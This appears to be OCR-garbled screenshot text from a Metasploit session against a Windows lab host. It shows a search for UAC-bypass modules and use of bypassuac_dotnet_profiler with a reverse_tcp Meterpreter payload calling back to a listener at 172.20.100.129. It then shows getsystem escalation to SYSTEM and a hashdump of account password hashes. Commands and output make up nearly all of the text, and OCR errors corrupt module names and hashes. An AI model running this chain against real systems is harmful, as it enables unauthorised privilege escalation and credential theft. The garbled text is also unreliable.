9
312
EE
428
436
512
528
608

652

Name Arch
[System Process]
system

Registry
smss.exe
svchost.exe
svchost.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe

services.exe
S

Session

User

Path
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meterpreter > getpid
Current pid: 5000
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5000 8116 powershell.exe x64 1 TALLON\Samus  C:\Windows\Systen32\WindowsPowerShel1\v1.0\powershell.exe
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mSf6 exploit(uindons/local/bypassuac dotnet profiler) > search windows/local/by

Matching Modules

% Name
o exploit, passuac_windows_store_filesys
1 exploit/] ipassuac_windows_store_reg

2 exploit, passuac

3 exploit/] passuac_injection

4 exploit/] passuac_injection_winsxs

5 exploit/] passuac_vbs

6 exploit/] passuac_comhi jack

7 exploit/] passuac_eventvwr.

8 exploit, passuac_sdclt

9 exploit/) passuac_silentcleanup

10 exploit/] passuac_dotnet_profiler

11 exploit/] passuac_fodhelper
12 exploit/] passuac_sluihijack

10 UAC Protection Bypass Via Windows Store (WSReset.exe)

10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry
Escalate UAC Protection Bypass

Escalate UAC Protection Bypass (In Memory Injection)

Escalate UAC Protection Bypass (In Memory Injection) abusing WinsXs
Escalate UAC Protection Bypass (ScriptHost Vulnerability)

Escalate UAC Protection Bypass (Via COM Handler Hijack)

Escalate UAC Protection Bypass (Via Eventvwr Registry Key)

Escalate UAC Protection Bypass (Via shell Open Registry Key)
Escalate UAC Protection Bypass (Via SilentCleanup)

Escalate UAC Protection Bypass (Via dot net profiler)

UAC Protection Bypass (Via FodHelper Registry Key)

Disclosure Date Rank Check Description
2019-08-22 manual Yes  Windows
2019-02-19 manual Yes  Windows
2010-12-31 excellent No  Windows
2010-12-31 excellent No  Windows
2017-04-06 excellent No  Windows
2015-08-22 excellent No  Windows
1900-01-01 excellent Yes  Windows
2016-08-15 excellent Yes  Windous
2017-03-17 excellent Yes  Windows
2019-02-24 excellent No  Windows
2017-03-17 excellent Yes  Windows
2017-05-12 excellent Yes  Windows
2018-01-15 excellent Yes  Windows

UAC Protection Bypass (Via Slui File Handler Hijack)

Interact with a module by name or index. For example info 12, use 12 or use exploit/windows/local/bypassuac_sluihijack
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msf6 exploit(iindons/local/bypassuac dotnet profiler) > show options

Module options (exploit/windows/local/bypassuac_dotnet_profiler):

Name Current Setting Required Description
PAYLOAD_NAME no The filename to use for the payload binary (%RAND% by default).
SESSTON 1 yes The session to run this module on

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '*, seh, thread, process, none)
LHOST  172.20.100.129  yes The listen address (an interface may be specified)

LPORT 4441 yes The listen port

Exploit target:
Id Name

0 Windows x64

View the full module info with the info, or info -d command.
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msf6 exploit(windons/local/bypassuac dotnet profiler) > exploit

[+] Started reverse TCP handler on 172.20.100.129:4441
[*] UAC is Enabled, checking level
[+] Part of Administrators group! Continuing
[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing
[!] This exploit requires manual cleanup of 'C:\Users\samus\AppData\Local\Temp\gaAZpy.dll
[+] Please wait for session and cleanup.

[] Sending stage (200774 bytes) to 172.20.100.128
[] Meterpreter session 12 opened (172.20.100.129:4441 — 172.20.100.128:49775) at 2023-04-27 16:32:43 +0200

meterpreter > getuid
Server username: TALLON\Samus
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meterpreter > getsystem
/usr/share/metasploit-framework/lib/rex/post/meterpreter/packet.rb:998: warning: Exception in finalizer #<Proc:0x00007f7ala25fles /usr/share/metasploit-framework/lib/rex/post
/usr/share/metasploit-framework/lib/rex/logging/log_dispatcher.r n “synchronize': can't be called from trap context (Threade:

from /usr/share/metasploit-framework/1ib/rex/logging/log dispatcher.rb:90:in “log’

from /usr/share/metasploit-framework/1ib/rex/logging/log_dispatcher.rb:172:in “elog’

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/extensions/stdapi/sys/process.rb:343:1n “rescue in block in finalize'

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/extensions/stdapi/sys/process.rb:340:1n “block in finalize'

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/packet.rb:99: “chr'
from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/packet.rb:99: “block in xor_bytes'
from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/packet.rb:99 “each_byte'

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/packet.rb:99 “xor_bytes'

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/packet.rb:9s: “to_r’

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/packet_dispatcher.r
from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/packet_dispatcher.rb:220:in “send_packet wait_response’
from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/packet_dispatcher.rb:176:in “send_request

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/extensions/priv/priv.rb:98:in “getsysten’

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/ui/console/conmand_dispatcher/priv/elevate.rb:113:
from /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in "run_command’

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/ui/console.r! in “run_command’

from /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rl “block in run_single’

from /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rl “each’

from /usr/share/metasploit-framework/1ib/rex/ui/text/dispatcher_shell.rt “run_single’

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/ui/console.rb:64:in “block in interact'

from /usr/share/metasploit-framework/1ib/rex/ui/text/shell.rb:163:in “run

from /usr/share/metasploit-framework/1ib/rex/post/meterpreter/ui/console.rt n “interact’

from /usr/share/metasploit-framework/1ib/msf/base/sessions/meterpreter.rb:565:in *_interact’

from /usr/share/metasploit-framework/lib/rex/ui/interactive.rb:53:in “interact’

from /usr/share/metasploit-framework/1ib/msf/ui/console/command_dispatcher/core.rb:1682:in “cmd_sessions’

from /usr/share/metasploit-framework/1ib/rex/ui/text/dispatcher_shell.r “run_command"

from /usr/share/metasploit-framework/1ib/rex/ui/text/dispatcher_shell.r “block in run_single’

from /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.r “each’

from /usr/share/metasploit-framework/1ib/rex/ui/text/dispatcher_shell.rb: “run_single’

From /usr/share/metasploit—framework/Lib/msf/ui/console/comnand_dispatcher/exploit.rb:192:in “cnd_exploit’

from /usr/share/metasploit-framework/1ib/rex/ui/text/dispatcher_shell.r “run_command"

from /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.r “block in run_single’

from /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.r “each’

from /usr/share/metasploit-framework/1ib/rex/ui/text/dispatcher_shell.r “run_single’

from /usr/share/metasploit-framework/1ib/rex/ui/text/shell.rb:168:in “run

from /usr/share/metasploit-framework/1ib/metasploit/framework/conmand/console.rb:48:in “start’

from /usr/share/metasploit-framework/1ib/metasploit/framework/comnand/base.rb:82:in “start’

from /usr/bin/msfconsole:23:in “<main>'

137:in “send_packet'

n “cnd_getsystem’
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meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
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meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3bs3shs1404ee: 31d6cfe0d16ae931b73¢5970c089cO
DefaultAccount : 503 :aad3b435b51404eeaad3b435b51404ee : 31d6cFe0d16ae931b73c5970089cO
Guest:501:aad3b435b51404eeaad3bs35bs1404ee: 31d6cFedd16ae931b73c59d720c089C
‘Samus:1001:aad3b435b51404eeaad3b435b51404ee : dee5aBd01b60e386Faab63e1 Fc7Fe0sh
WDAGUtilityAccount:504:aad3b435b51404eeaad3bs35b51404ee : e08b2ba67e5e3af2980b3e4ac65ba247 «
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